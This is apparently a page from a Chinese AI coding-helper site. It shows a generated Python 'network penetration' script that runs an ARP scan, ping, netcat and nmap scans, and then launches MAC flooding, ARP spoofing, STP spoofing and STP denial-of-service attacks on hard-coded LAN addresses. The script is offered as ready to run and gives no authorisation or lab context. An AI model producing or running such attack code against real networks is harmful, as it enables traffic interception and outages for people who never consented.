酷代码 AI
菜单
服务商
DeepSeek字节豆包讯飞星火
更多选项

Python实现多功能网络渗透脚本:包含ARP、ICMP等扫描及MAC泛洪等攻击!

``` import os import subprocess import scapy.all as scapy def arp_scan(ip): arp_request = scapy.ARP(pdst=ip) broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") arp_request_broadcast = broadcast/arp_request answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0] for element in answered_list: print(element[1].psrc + "\t\t" + element[1].hwsrc) def icmp_scan(ip): subprocess.call(["ping", "-c", "4", ip]) def tcp_scan(ip, port): subprocess.call(["nc", "-zv", ip, port]) def host_scan(network): subprocess.call(["nmap", network]) def mac_flooding(interface): subprocess.call(["macof", "-i", interface]) def arp_spoof(target_ip, gateway_ip): subprocess.call(["arpspoof", "-i", "eth0", "-t", target_ip, gateway_ip]) def stp_spoof(interface): subprocess.call(["stp_spof", "-i", interface]) def stp_dos(interface): subprocess.call(["stp_dos", "-i", interface]) # 调用函数进行扫描和渗透 arp_scan("192.168.1.1/24") icmp_scan("192.168.1.1") tcp_scan("192.168.1.1", "80") host_scan("192.168.1.1/24") mac_flooding("eth0") arp_spoof("192.168.1.2", "192.168.1.1") stp_spoof("eth0") stp_dos("eth0") ``` ######[AI写代码神器 | 793点数解答 | 2024-11-08 00:57:23]

相关提问
本站限时免费提问中
实用工具查看更多
Linux在线手册 [开发类]
Jquery在线手册 [开发类]
今日油价 [生活类]
图片互转base64 [开发类]
时间转换器 [开发类]